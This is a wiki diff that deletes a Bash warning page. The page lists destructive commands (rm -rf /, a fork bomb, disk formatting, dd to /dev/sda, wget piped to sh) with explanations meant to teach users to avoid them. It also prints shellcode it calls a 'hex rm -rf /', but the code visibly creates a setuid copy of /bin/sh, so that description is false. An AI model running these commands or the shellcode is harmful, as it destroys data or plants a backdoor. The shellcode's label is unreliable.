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--- bash:dangerous_commands [2021/01/09 15:06] – [wget http://example.com/something -O – | sh] peter
+++ bash:dangerous_commands [2021/01/26 16:19] (current) – removed peter
@@ Line 1: / Line 1: @@
-====== BASH - Dangerous Commands ======
-<WRAP alert>
-**ALERT**:  These are very dangerous and may cause serious problems to your system.
-</WRAP>
-----
-===== rm -rf / =====
-<code bash>
-rm -rf /
-</code>
-<WRAP info>
-**NOTE:  ** The command **rm -rf /** deletes everything it possibly can, including files on your hard drive and files on connected removable media devices.
-This command is more understandable if it’s broken down:
-  * **rm** – Remove the following files.
-  * **-rf** – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
-  * **/** – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
-Linux will happily obey this command and delete everything without prompting you, so be careful when using it!
-The **rm** command can also be used in other dangerous ways – **rm –rf ~** would delete all files in your home folder, while **rm -rf .*** would delete all your configuration files.
-The Lesson:  Beware **rm -rf**.
-</WRAP>
-----
-===== Disguised rm –rf / =====
-<code bash>
-char esp[] __attribute__ ((section(“.text”))) /* e.s.p
-release */
-= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
-“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
-“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
-“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
-“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
-“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
-“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
-“cp -p /bin/sh /tmp/.beyond; chmod 4755
-/tmp/.beyond;”;
-</code>
-<WRAP info>
-**NOTE:**  This is the hex version of **rm –rf /**.
-Executing this command would wipe out your files just as if you had run **rm –rf /**.
-The Lesson:  Don’t run weird-looking, obviously disguised commands that you don’t understand.
-</WRAP>
-----
-===== :(){ :|: & };: =====
-Fork Bomb.  The following line is a simple-looking, but dangerous, bash function:
-<code bash>
-:(){ :|: & };:
-</code>
-<WRAP info>
-**NOTE:**  This short line defines a shell function that creates new copies of itself.
-The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory.
-This can cause your computer to freeze.
-It’s basically a denial-of-service attack.
-The Lesson:  Bash functions are powerful, even very short ones.
-</WRAP>
-----
-===== mkfs.ext4 /dev/sda1 =====
-<code bash>
-mkfs.ext4 /dev/sda1
-</code>
-<WRAP info>
-**NOTE:**  Formats a Hard Drive.  The **mkfs.ext4 /dev/sda1** command is simple to understand:
-  * **mkfs.ext4** – Create a new ext4 file system on the following device.
-  * **/dev/sda1** – Specifies the first partition on the first hard drive, which is probably in use.
-Taken together, this command can be equivalent to running **format c:** on Windows – it will wipe the files on your first partition and replace them with a new file system.
-This command can come in other forms as well – **mkfs.ext3 /dev/sdb2** would format the second partition on the second hard drive with the ext3 file system.
-The Lesson:  Beware running commands directly on hard disk devices that begin with /dev/sd.
-</WRAP>
-----
-===== command > /dev/sda =====
-<code bash>
-any_command > /dev/sda
-</code>
-<WRAP info>
-**NOTE:**  Writes Directly to a Hard Drive.
-The **command > /dev/sda** line works similarly – it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
-  * **command** – Run a command (can be any command.)
-  * **>** – Send the output of the command to the following location.
-  * **/dev/sda** – Write the output of the command directly to the hard disk device.
-The Lesson:  As above, beware running commands that involve hard disk devices beginning with /dev/sd.
-</WRAP>
-----
-===== dd if=/dev/random of=/dev/sda =====
-<code bash>
-dd if=/dev/random of=/dev/sda
-</code>
-<WRAP info>
-**NOTE:**  Writes Junk Onto a Hard Drive.
-The **dd if=/dev/random of=/dev/sda** line will also obliterate the data on one of your hard drives.
-  * **dd** – Perform low-level copying from one location to another.
-  * **if=/dev/random** – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
-  * **of=/dev/sda** – Output to the first hard disk, replacing its file system with random garbage data.
-The Lesson:  **dd** copies data from one location to another, which can be dangerous if you’re copying directly to a device.
-</WRAP>
-----
-===== mv ~ /dev/null =====
-<code bash>
-mv ~ /dev/null
-</code>
-<WRAP info>
-**NOTE:**  Moves Your Home Directory to a Black Hole.
-**/dev/null** is another special location – moving something to **/dev/null** is the same thing as destroying it.
-Think of **/dev/null** as a black hole.
-Essentially, **mv ~ /dev/null** sends all your personal files into a black hole.
-  * **mv** – Move the following file or directory to another location.
-  * **~** – Represents your entire home folder.
-  * **/dev/null** – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
-The Lesson:  The **~** character represents your home folder and moving things to **/dev/null** destroys them.
-</WRAP>
-----
-===== wget http://example.com/something -O – | sh =====
-<code bash>
-wget http://example.com/something -O – | sh
-</code>
-<WRAP info>
-**NOTE:**  Downloads and Runs a Script.
-The above line downloads a script from the web and sends it to sh, which executes the contents of the script.
-This can be dangerous if you’re not sure what the script is or if you don’t trust its source – don’t run untrusted scripts.
-  * **wget** – Downloads a file. (You may also see curl in place of wget.)
-  * **<nowiki>http://example.com/something</nowiki>** – Download the file from this location.
-  * **|** – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
-  * **sh** – Send the file to the sh command, which executes it if it’s a bash script.
-The Lesson:  Don’t download and run untrusted scripts from the web, even with a command.
-</WRAP>
-----
-===== References: =====
-  * http://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/